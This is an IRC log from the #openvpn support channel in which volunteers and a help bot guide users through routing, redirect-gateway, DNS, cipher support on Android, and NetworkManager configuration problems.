10:50 < djh02> gives me bunch of addresses
10:50 < djh02> it does.
10:50 < djh02> im also watching my server log with verb 6. i see activity as it happens
10:50 <+oc80z> now this is iwndows 8
10:50 < djh02> it is windows 8 yes
10:51 <+oc80z> so when you get disconnected
10:51 <+oc80z> just try to 'nslookup google.com'
10:51 < djh02> doensnt work
10:51 <+oc80z> and make sure itsnot going to 192.168.1.1 --> tunnel --> fail
10:51 < djh02> tell u that for sure
10:51 < djh02> well
10:51 <+oc80z> ok
10:51 <+oc80z> there is a command i remember
10:51 < djh02> it fails cause it GOES thru smthing that aint online anymore (the tunnel)
10:51 <+oc80z> i think its the netsh command
10:52 <+oc80z> you might have to use that to set your DNS
10:52 < djh02> but if i let dns traffic untunneled theres no anonimity no point of vpn
10:52 <+oc80z> right
10:53 <+oc80z> damn what are we missing
10:54 <+oc80z> just make sure that dns doesnt update from your 192.168.1.1 router -- and change dns to 192.168.1.1 (from opendns)
10:54 <+oc80z> cause obviously your tunnel cant route that
10:55 < djh02> i dont know. for some reason the link fails at one point. then the link tries ping-restart. which doesnt work of course cause clientside the routes set on vpn connection must still be up, thus client cant access dns servers, has no route to ips even if dns resolve is not necessary. so it fails. i reconnect by right click icon in tray, disconnect, w
10:55 < djh02> ait 10 seconds or so till it goes red and connect again
10:57 < djh02> wait
10:57 < djh02> what if i push a static route to my openvpn server only ?
10:58 < djh02> but damn cant really do that since i dont know any client's default route
10:58 < djh02> ><
10:58 <+oc80z> hmm
10:58 -!- pagios [~pagios@46.19.194.81] has joined #openvpn
10:59 < pagios> hello, can i publish my vpn clients so they become reachable via external network by using the pvn server as a router?
11:00 <+oc80z> pagios: yes
11:00 <+oc80z> djh02:  i want to know why they are disconnecting...
11:00 < pagios> should that be an openvpn configuration or an iptables/ router config?
11:00 <+oc80z> may be start by using an IP address in all the clients
11:01 <+oc80z> so if dns fails, you can still reconnect to the server
11:02 <+oc80z> pagios: do your NAT with iptables
11:02 <+oc80z> world -> internet -> openvpn-server:80 -> iptables -> openvpn-client:80
11:02 < pagios> kewl
11:02 <+oc80z> its more complicated but it should work if u have the right tables
11:06 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:08 < djh02> oc80z: thats what i want to know too.
11:08 -!- Bulot [~wbulot@95.128.40.232] has joined #openvpn
11:14 < Bulot> :)
11:15 < djh02> :)
11:15 -!- djh02 [5925d867@gateway/web/cgi-irc/kiwiirc.com/ip.89.37.216.103] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
11:17 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 240 seconds]
11:18 -!- pagios [~pagios@46.19.194.81] has left #openvpn ["Leaving"]
11:21 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
11:36 -!- karstenk1977_ [~karstenk1@ip-178-200-24-81.unitymediagroup.de] has joined #openvpn
11:36 < karstenk1977_> hello
11:36 < karstenk1977_> is there anybody friendly and can help me to setup openvpn?
11:36 < karstenk1977_> it is installed, need only to be configured
11:42 <@ecrist> !howto
11:42 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
11:48 -!- Sandfly [~ma1com10t@host-92-20-25-149.as13285.net] has joined #openvpn
11:57 -!- BtbN [znc@btbn.de] has quit [Quit: Bye]
11:57 -!- BtbN [znc@btbn.de] has joined #openvpn
12:04 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
12:09 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
12:14 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
12:18 -!- Bulot [~wbulot@95.128.40.232] has left #openvpn []
12:46 -!- baphomet1 [~no@12.235.42.129] has joined #openvpn
12:47 < baphomet1> hello all!  I was wondering if someone could help me figure out something with my OVPN setup.  I am able to connect to the tunnel just fine from all clients, however I can only access the OVPN server and its resources.  I am unable to access anything else (specifically webpages).  I am sure this is a simple setting that I am missing.  Is anyone around to help?
12:47 <@ecrist> !goal
12:47 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
12:47 <@ecrist> !route
12:47 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
12:47 <@vpnHelper> behind the server or client
12:47 < karstenk1977_> where is the log file configured?
12:50 <@ecrist> !logs
12:50 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
12:50 < baphomet1> my goal is to be able to access websites, not just the OpenVPN server, while connected to the VPN.  It appears that routing is the issue.
12:52 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
13:00 < karstenk1977_> !logfile
13:00 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
13:02 -!- markp [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
13:05 < baphomet1> or perhaps not.  the routing pages only cover accessing local LANs.  This is not my goal.  I am currently unable to access any websites while connected to my VPN.
13:08 -!- [fred] [fred@konfuzi.us] has quit [Quit: *swooo00sh*]
13:10 -!- [fred] [fred@earthli.ng] has joined #openvpn
13:12 -!- alanjf [~ajf@unaffiliated/alanjf] has joined #openvpn
13:14 < rob0> !redirect
13:14 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
13:14 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
13:15 < baphomet1> !thanks
13:15 < rob0> If you're using --redirect-gateway you need to have everything done for that, including the NAT and IP forwarding.
13:16 < baphomet1> rob0, this seems like a ton of configuration for something rather simple, no?
13:16 < baphomet1> !ipforward
13:16 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
13:18 < baphomet1> !linipforward
13:18 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
13:19 < baphomet1> !def1
13:19 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 272 seconds]
13:19 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
13:19 < rob0> Why did you think it would be so simple?
13:20 < baphomet1> rob0, because this type of functionality is pretty much what most people would want to use a VPN for, no?
13:20 < rob0> Anyway, follow the flowchart. If this is your problem, the flowchart will find an answer.
13:21 < baphomet1> rob0, you are the first person in here that has actually provided a conversation.  thanks :).
13:21 <+pekster> baphomet1: A VPN is an advanced networking functionality, and you're effectively turning your clients into multi-homed hosts. This is not "simple networking" and people use OpenVPN in all sorts of ways. In the corporate world it's not used to "hide your IP" like all the fools on reddit want
13:21 < rob0> Hmm, no. And for that matter, desires do not make things easy.
13:21 < baphomet1> and pekster
13:21 < baphomet1> pekster, I understand that.
13:22 < rob0> I think most of us who have been in openvpn awhile use our tunnels for secure access to remote resources.
13:22 < rob0> But sure, there are a lot of newcomers who want the redirection.
13:23 < baphomet1> rob0, I can access my remote resources fine, but having to disconnect from the VPN just to get to a different webpage then reconnect to access the resources again then disconnect to access another webpage is pretty frustrating.  that is the goal here.  not to have a "hidden" IP.
13:24 <+pekster> I'm just waiting for the smart lawyers to figure this out and "bust" one of this naughty "VPN Provider" types with a court-ordered gag order to de-anonymize people and start lawsuits
13:24 < baphomet1> pekster, heh.
13:24 <+pekster> baphomet1: Everything you need for a redirection situation is in the flowcharts. Technically NAT isn't required, but it is if you don't issue globally routable IPs to your clients (most IPv4 users don't have public blocks at their disposal)
13:26 < baphomet1> pekster, I am looking at the chart now.  although the definition in !redirect and the wording of the chart are pretty different.  the definition spit out by !redirect says you need to have it enabled on the server.  the chart says to enable it on the client.
13:26 <+pekster> You don't "enable" redirection on the server (that would be silly) but you might _push_ it from the server to the client
13:26 <+pekster> You could just as compatability put the directive in the client config; the effect is the same
13:26 <+pekster> Read --push for details
13:27 < baphomet1> pekster, in that case should the definition spit out by !redirect be changed?
13:27 < baphomet1> ""redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server."
13:27 < baphomet1> enabled on the server
13:27 < baphomet1> I agree with you, BTW
13:28 -!- karstenk1977_ [~karstenk1@ip-178-200-24-81.unitymediagroup.de] has left #openvpn []
13:28 <+pekster> No, the "enabled on the server" applies to the forwarding and NAT only
13:28 <+pekster> Hence the comma and "as well as" bit
13:28 < rob0> IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server.
13:28 < baphomet1> pekster, commas also indicate a list of things.
13:28 <+pekster> Seems both accurate and gramatically correct. If I told you I wanted an apple, as well as two oranges, you wouldn't give me 2 apples would you?
13:28 <+pekster> Not used like this
13:28 < baphomet1> for example: I need to buy milk, cheese, meat and bananas
13:28  * pekster sighs
13:29 <+pekster> "as well as"
13:29 < baphomet1> pekster, anyhow.
13:29 < baphomet1> I am looking at the chart
13:29 <+pekster> "I need to buy milk, as well as 2 pounds of cheese, meat, and bananas"
13:29 <+pekster> Tht's obviously not 2 pounds of milk
13:29 < rob0> I think it is worded correctly.
13:29 < baphomet1> !redirect
13:29 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
13:29 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
13:29 <+pekster> So no, you need --redirect-gateway on your client, _however_ you choose to get it there. Then you also need to do everything else listed there
13:30 <+pekster> (NAT, IP forwarding, allowing it through the firewall)
13:39 -!- Poster|x [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
13:41 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Ping timeout: 272 seconds]
13:42 -!- elfixit [~Icedove@77-58-248-29.dclient.hispeed.ch] has joined #openvpn
13:52 -!- atmosx [~osx@217.70.broadband4.iol.cz] has joined #openvpn
13:55 -!- mattock is now known as mattock_afk
13:58 -!- klein [~klein@unaffiliated/klein] has quit [Quit: Leaving]
14:05 -!- CygniX [~CygniX@unaffiliated/twois10] has joined #openvpn
14:06 < CygniX> trying to use openvpn on android give this error https://paste.opensuse.org/view/raw/577aeb5c
14:07 <+pekster> CygniX: That's not openvpn -- it's "openvpn connect" which is a commercial, non-open, non-free product developed by the corporate arm known as "OpenVPN Technologies Inc." You should download "OpenVPN for Android" which is based on the GPL sources
14:08 <+pekster> Despite the really awful name, "OpenVPN Connect" is _not_ OpenVPN
14:08 < CygniX> arggh
14:08 <+pekster> If you have problems with the non-free software, you need to obtain support from the vendor directly as it's not a community maintained project. Blame corp for using such a stupid naming scheme :(
14:10 < CygniX> pekster: thanks, am downloading the suggested app
14:10 <+pekster> At a glance it seems polarssl can't use Camellia. Good news for you is that the proper GPL "OpenVPN for Android" (written by one of the devs here) uses openssl
14:11 < CygniX> pekster: I took a look at polarssl and it supports CAMELLIA
14:11 < CygniX> unless you mean the android implementation
14:11 <+pekster> Yea, I mis-spoke. Who knows, maybe the non-free "Connect" crap is what doesn't support it; it's a completely different codebase, complete with its own bugs ;)
14:12 -!- master_of_master [~master_of@p4FD7B84E.dip0.t-ipconnect.de] has joined #openvpn
14:14 < CygniX> hmm looks like I would have to install openssl
14:14 < CygniX> openvpn for android it seems requires openssl
14:15 <@plaisthos> CygniX: ?!
14:16 < CygniX> the client configuration file has the line "cipher CAMELLIA-256-CBC"
14:16 < CygniX> that seems to be causing issue
14:16 -!- master_o1_master [~master_of@p4FF24090.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds]
14:17 < CygniX> at first, I thought maybe openssl was not installed, but it looks to be more a string issue in the config file
14:17 -!- master_o1_master [~master_of@p4FF244F2.dip0.t-ipconnect.de] has joined #openvpn
14:18 -!- master_of_master [~master_of@p4FD7B84E.dip0.t-ipconnect.de] has quit [Ping timeout: 252 seconds]
14:18 <@plaisthos> CygniX: "OpenVPN for Android" uses openssl
14:18 < CygniX> plaisthos: I see that from the error
14:20 <@plaisthos> CygniX: cipher not found or what?
14:20 < CygniX> https://paste.opensuse.org/view/raw/44eb371d
14:21 <@plaisthos> oh yeah
14:23 <@plaisthos> OpenSSL on your phone (Android in general?) is compiled without CAMELLIA
14:27 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
14:30 -!- Cygni [~CygniX@unaffiliated/twois10] has joined #openvpn
14:31 < Cygni> plaisthos: sorry, I got disconnected
14:31 <@plaisthos> you 21:21:54 <@plaisthos> oh yeah
14:31 <@plaisthos> 21:23:12 <@plaisthos> OpenSSL on your phone (Android in general?) is compiled  without CAMELLIA
14:31 -!- CygniX [~CygniX@unaffiliated/twois10] has quit [Ping timeout: 245 seconds]
14:31 -!- Cygni is now known as CygniX
14:32 < CygniX> hopefull, AES-256-CBC works
14:34 <@plaisthos> yes
14:34 <+pekster> Wonder what the motivation to build wiwthout camellia is
14:34 <@plaisthos> android-config.mk:LOCAL_CFLAGS += -DOPENSSL_NO_CAMELLIA -DOPENSSL_NO_CAPIENG -DOPENSSL_NO_CAST -DOPENSSL_NO_CMS -DOPENSSL_NO_GMP -DOPENSSL_NO_IDEA -DOPENSSL_NO_JPAKE -DOPENSSL_NO_MD2 -DOPENSSL_NO_MDC2 -DOPENSSL_NO_RC5 -DOPENSSL_NO_SHA0 -DOPENSSL_NO_RFC3779 -DOPENSSL_NO_SEED -DOPENSSL_NO_STORE -DOPENSSL_NO_WHIRLPOOL
14:35 < CygniX> google does not support CAMELLIA
14:35 < CygniX> this can be seen on Chrome/chromium
14:35 <@plaisthos> CygniX: that are the build flags for openssl in Android (AOSP)
14:36 < CygniX> plaisthos: that helps
14:37 <@plaisthos> CygniX: no problem
14:40 < CygniX> does the server.conf file support more than one cipher?
14:40 < CygniX> concurrently that is
14:40 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
14:41 < CygniX> with ssh, you can have multiple ciphers listed
14:42 <+pekster> No, there's no support today for negotiating the data channel cipher. You can do that for TLS though with --tls-cipher
14:45 < CygniX> OK thanks pekster
14:45 -!- atmosx [~osx@217.70.broadband4.iol.cz] has quit [Quit: Lost in trance]
14:53 < baphomet1> back
14:54 <+pekster> So, the flowchart gives you all you need. If you have problems with one step of the chart, see if you can read the manpage on the option to learn more. If you're still stuck, ask a specific question here on the part you get stuck with, demonstrate what you've learned, and ask for clarification or help on the part you're confused with
14:54 <+pekster> Here's a great description of this: http://catb.org/~esr/faqs/smart-questions.html#lesser
14:54 <@vpnHelper> Title: How To Ask Questions The Smart Way (at catb.org)
14:54 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
14:54 <+pekster> (fwiw, the rest of that guide is also worth reading and helps you to ask smart questions that get you the fastest direct help possible)
14:55 -!- joker_89 [~ircap@unaffiliated/joker-89/x-0901110] has joined #openvpn
14:55 < joker_89> hi
14:55 < joker_89> i want to configure my windows client but after installation i dont have any directory named conf for placing my keys
14:56 < baphomet1> pekster, I do not know how to verify nor check if redirect gateway is enabled.  Is this in the conf file?
14:56 <+pekster> Right. Can you paste both your server & client configs
14:57 <+pekster> Ideally without comments/whitespace: we have grep syntax for that here:
14:57 <+pekster> !configs
14:57 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
14:57 < baphomet1> pekster, give me a moment
14:57 <+pekster> joker_89: The "config" folder is under your installation point where you choose to install openvpn
14:59 < joker_89> i only have client, core, driver, etc and prism
14:59 < joker_89> not config
14:59 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Client Quit]
14:59 <+pekster> Sounds like you're not using the OpenVPN product, but "Access Server" or "Connect" which are completely different
14:59 <+pekster> Download OpenVPN from here:
14:59 <+pekster> !download
14:59 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
14:59 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
14:59 < joker_89> i only need the client
14:59 <+pekster> See links at (#1) above
15:00 <+pekster> You have not downloaded OpenVPN
15:00 < joker_89> ok,
15:00 <+pekster> !connect
15:00 <@vpnHelper> "connect" is OpenVPN Connect is part of the commercial, non-free (non-GPL) corporate offering; see #openvpn-as for help with these. For the community-maintained GPL OpenVPN, see !download for download links, !android for GPL-openvpn on Android, or !howto for the beginner how-to guide
15:00 <+pekster> That is _NOT_ OpenVPN
15:00 -!- fetcherr [fetcherr@173-86-14-37.dr01.wlbr.pa.frontiernet.net] has joined #openvpn
15:01 < baphomet1> pekster, still working on it.
15:01 < fetcherr> hi im back i solved the last issue now im having a problem with when im connected to the openvpn it connects fine but i have no internet access i cant view google.com or any other sites, can someone please help with this?
15:02 <+pekster> fetcherr:
15:02 <+pekster> !redirect
15:02 < baphomet1> pekster, here is the server conf http://paste.ubuntu.com/6278975/
15:02 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
15:02 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
15:02 < baphomet1> pekster, I setup the client entirely through network manager, which conf would you need?
15:02 <+pekster> Use the flowchart and ask a more specific question besides "it doesn't work" -- you need to do lots of things before that will work, including verifying your firewalls support that setup
15:02 <+pekster> :(
15:02 <+pekster> Don't use netwnork manager, especially when you're having problems like this
15:03 -!- fetcherr [fetcherr@173-86-14-37.dr01.wlbr.pa.frontiernet.net] has quit [Remote host closed the connection]
15:03 <+pekster> baphomet1: Besides that point, your server config has some issues
15:03 -!- CygniX [~CygniX@unaffiliated/twois10] has quit [Remote host closed the connection]
15:03 -!- fetcherr [fetcherr@173-86-14-37.dr01.wlbr.pa.frontiernet.net] has joined #openvpn
15:03 -!- AginLap [~AginLap@109.201.154.160] has joined #openvpn
15:04 <+pekster> First, you are using the default "net30" topology (read !/30 for more details) and you are pushing the .2 IP as DNS. This will never work as the server is .1: .2 is an unused IP the client can't reach
15:04 <+pekster> Second, you're missing a push for redirect-gateway in the server config. Did you see the verbatium output you could copy/paste from !def1?
15:04 <+pekster> !def1
15:04 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
15:05 <+pekster> Please re-read (#3) again as you don't have it in your config
15:05 <+pekster> baphomet1: Oh, 10.13.37/24 is your home LAN? If that's the case you can use it for your DNS (missed that bit, sorry)
15:06 < fetcherr> is all that for my problem?
15:06 <+pekster> fetcherr: No, different conversation
15:07 <+pekster> fetcherr: You need to start with the same flowchart I linked you to
15:08 -!- fetcherr [fetcherr@173-86-14-37.dr01.wlbr.pa.frontiernet.net] has quit [Remote host closed the connection]
15:08 <+pekster> ..
15:08 -!- Fira [artix@unaffiliated/fira] has quit [Ping timeout: 245 seconds]
15:08 -!- fetcherr [fetcherr@173-86-14-37.dr01.wlbr.pa.frontiernet.net] has joined #openvpn
15:09 -!- Fira [artix@unaffiliated/fira] has joined #openvpn
15:09 <+pekster> baphomet1: The howto section on redirecting traffic is also relevant here: http://openvpn.net/index.php/open-source/documentation/howto.html#redirect
15:09 <@vpnHelper> Title: HOWTO (at openvpn.net)
15:09 < baphomet1> pekster, yes that is my home LAN.
15:10 <+pekster> baphomet1: Is the VPN server system your LAN's default gateway too?
15:10 < joker_89> where i need to specificate my server ip address?
15:11 < baphomet1> pekster, no.  it is the DHCP and DNS server, but the router is the default gateway
15:11 -!- fetcherr [fetcherr@173-86-14-37.dr01.wlbr.pa.frontiernet.net] has quit [Remote host closed the connection]
15:11 -!- fetcherr [fetcherr@173-86-14-37.dr01.wlbr.pa.frontiernet.net] has joined #openvpn
15:12 <+pekster> baphomet1: Be aware you can't reach LAN-side computers unless you have a return-route on the LAN router then. !serverlan has a complete flowchart for that if you need a more step-by-step guide/help
15:12 <+pekster> If the VPN server is 10.13.37.2 then the DNS push you've done will work
15:12 -!- fetcherr [fetcherr@173-86-14-37.dr01.wlbr.pa.frontiernet.net] has quit [Client Quit]
15:12 < joker_89> solved
15:12 < baphomet1> pekster, that is the next step (was already aware of this issue).  please be aware that I haven't done anything.  this is a one click app for Amahi.
15:13 <+pekster> We don't deal with frontends, GUIs, or anything not openvpn here
15:13 < EugeneKay> Except when we do.
15:13 < EugeneKay> But not now.
15:13 <+pekster> EugeneKay: You want to troubleshoot network manager, be my guest ;)
15:13 < baphomet1> pekster, there is not frontend or gui, just saying that I have not done any of the config.
15:14 < EugeneKay> !shotgun
15:14 <@vpnHelper> "shotgun" is (#1) the most effective form of physical security or (#2) <hyper_ch> shotgun security? <EugeneKay> If you try to physically attack my network, I chase you with a shotgun.
15:14 < EugeneKay> Similar principle ^
15:14 <+pekster> baphomet1: Do you understand how the --push directive works? You're still struggling with the concept and I tried to give you the hint to read how the option works earlier
15:14 < baphomet1> pekster, in the first paragraph of the how-to that you had linked to talks about split tunneling (doesn't use the words split tunneling, but it is referring to it).  this is what I would essentially like to accomplish.  I do not need to route all traffic.
15:15 < baphomet1> pekster, the push directive sends messages down to the clients, no?
15:15 <+pekster> No, I linked to "Routing all client traffic (including web-traffic) through the VPN"
15:15 <+pekster> I have no clue what you just read
15:15 <+pekster> "In certain cases this behavior might not be desirable -- you might want a VPN client to tunnel all network traffic through the VPN, including general internet web browsing."
15:15 < baphomet1> pekster, and in the first paragraph there is this "General web browsing, for example, will be accomplished with direct connections that bypass the VPN."
15:15 <+pekster> "BY default" yes
15:16 < baphomet1> pekster, that is split tunneling, is it not?
15:16  * pekster sighs
15:16 < baphomet1> pekster, I am just trying to understand.
15:16 <+pekster> I like how you give up on an entire section dedicated to your exact problem becuase you read "by default it doesn't do it"
15:16 < baphomet1> pekster, I haven't given up.  I am asking for clarification, this is what you had asked me to do.  ask for clarification.
15:18 <+pekster> Then yes, keep reading and the very next paragraph explains that "sometimes you want to redirect all traffic over the VPN"
15:18 < baphomet1> pekster, thanks.  still reading.
15:20 < baphomet1> pekster, this how-to is great!
15:21 -!- joker_89 [~ircap@unaffiliated/joker-89/x-0901110] has quit [Quit: • IRcap • 8.72 •]
15:21 <+pekster> That's the same one you find in !howto
15:22 < baphomet1> pekster, that keyword had not been used earlier (at least before i went AFK)
15:23  * pekster points to the /TOPIC ;)
15:23 < baphomet1> pekster, brb
15:27 < baphomet1> pekster, I knew it was one line that needed to be done.  You had helped me out with this when I had the issue before.  It looks like the iptables setting is not persistent in ubuntu.  which is good to know.  I found a script that will allow me to persistently set this up and allow access to the LAN traffic.
15:27 < baphomet1> pekster, not traffic, devices.
15:28 < baphomet1> pekster, please accept my apologies, I am still a noob some what in this arena.
15:31 <+pekster> The server config you pasted before does not push the --redirect-gateway option
15:32 <+pekster> If you were struggling to know if this was enabled on the client or not, it won't be unless you did so on the client itself
15:33 -!- CygniX [~CygniX@unaffiliated/twois10] has joined #openvpn
15:33 < baphomet1> pekster, in my use case I do not wish to use the redirect-gateway option.  could you please tell me if my understanding is correct in saying that what this does is it tells the client that when connected to the VPN its new default gateway is the VPN server address?  I understand what enabling it would accomplish, but I would like to understand exactly what it does.
15:35 <+pekster> Right, except with 'def1' it overrides without replaces the gateway by using two /1 routes
15:35 <+pekster> You stated earlier you wanted to browse other sites using your VPN
15:37 < baphomet1> pekster, perhaps I misspoke, I did not mean other remote sites.  I want to browse to websites while connected to the VPN.  There are times when I need to access the file server and the internet simultaneously.
15:37 <+pekster> OpenVPN doesn't prohibit that
15:37 <+pekster> By deafult it all magically works
15:37 < baphomet1> pekster, in my case the not being able to access the internet is an iptables issue.
15:37 <+pekster> As your server config exists not, only traffic to 10.8.0/24 and 10.13.37/24 are sent over the VPN; nothing else is
15:38 <+pekster> That would be on your client then
15:38 < baphomet1> pekster, the IPTables issue is on my server.
15:38 <+pekster> Your server isn't involved in Internet-bound traffic
15:39 <+pekster> I'm not sure what part about that is hard to understand. If the destination is not 10.8.0/24 or 10.13.37/24 the clients traffic will not be redirected. At least assuming you haven't made arrangements to do this on your client
15:40 -!- Denial [Denial@90.216.209.93] has quit []
15:40 < baphomet1> pekster, by not be redirected, you mean the connection will fail or the traffic will bypass the VPN?
15:40 <+pekster> There is no "bypass" -- it won't go in the VPN
15:40 <+pekster> There is nothing to bypass. It goes out your default gateway on your LAN
15:40 < baphomet1> pekster, in that case I am telling you what I am seeing with my own two eyes
15:40 <+pekster> What's `ip route get 203.0.113.1` on the client show?
15:40 < baphomet1> pekster, while connected to the VPN? hang on.
15:41 <+pekster> Or 4.2.2.1 or any IP that should be upstream of you
15:41 < baphomet1> 4.2.2.1 via 10.8.0.5 dev tun 0 src 10.8.0.6
15:41 < baphomet1> cache
15:41 < baphomet1> that is what the result is
15:42 <+pekster> Pastebin `ip route show`
15:42 <+pekster> You have enabled redirection, and it's not coming from your server cofnig
15:43 <+pekster> This is probably something _you_  have done on your client
15:43 <+pekster> (we'll see in a moment from the route output.) The solution of course is to stop using options you don't want. Pretty easy really
15:43 < baphomet1> pekster, http://paste.ubuntu.com/6279230/
15:44 <+pekster> Line 1, you've used --redirect-gateway either in the config or command line of the client
15:44 < baphomet1> pekster, I have done nothing to the client other than setting up the tunnel via network manager.  the last time I had this issue running the iptables command on the server fixed it.
15:44 <+pekster> !networkmanager
15:44 <+pekster> Well, the factoid says don't use it ;)
15:44 <+pekster> Obviously your "networkmanager" crap is doing something you didn't want. You probably checked some box somewhere that adds that option in
15:45 < baphomet1> pekster, and suppose I run the iptables command on the server and it fixes the issue, what does that prove?
15:45 <+pekster> That you are actually redirecting traffic _THROUGH_ your server
15:45 <+pekster> That is exactly what you said you didn't want. That doesn't make what your want happen
15:46 < baphomet1> pekster, oh.  ok I had misunderstood something.
15:46 < baphomet1> pekster, I thought that you needed to issue the push redirect-gateway AND the iptables command on the server to get it to route through the server.
15:46 < baphomet1> brb
15:46 <+pekster> Look at your routing table on the client; it should be painfully obvious what has happened
15:46 <+pekster> I really don't need to know every time you will "brb" either
15:58 -!- [fred] is now known as fred`
15:58 -!- fred` is now known as fred``
15:59 < baphomet1> pekster, maybe painfully obvious to someone who is very experienced in these matters, but not necessarily to someone who is a n00b.  It is not painfully obvious to me.
15:59 <+pekster> The reason it's not obvious is because networkmanager is "helpfully" hiding what it's doing from you
16:00 <+pekster> `ps aux | grep openvpn` or something on your client to see the ugly mess that nm is doing
16:00 <+pekster> Presumably it'll include either --redirect-gateway on the command line, or a reference to a temp config file that has it
16:01 <+pekster> Either way, you asked the client to do this. Maybe you didn't realize/understand what this meant, but the client openvpn instance as asked, at some point by you, to take that action
16:01 <+pekster> The fix is as I stated above: stop using that feature if you don't want it
16:03 < baphomet1> pekster, and what is the recommendation instead of network manager?
16:03 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 272 seconds]
16:04 <+pekster> I just start it from a terminal (I'm using screen(1) so it doesn't even "waste a terminal" on my desktop
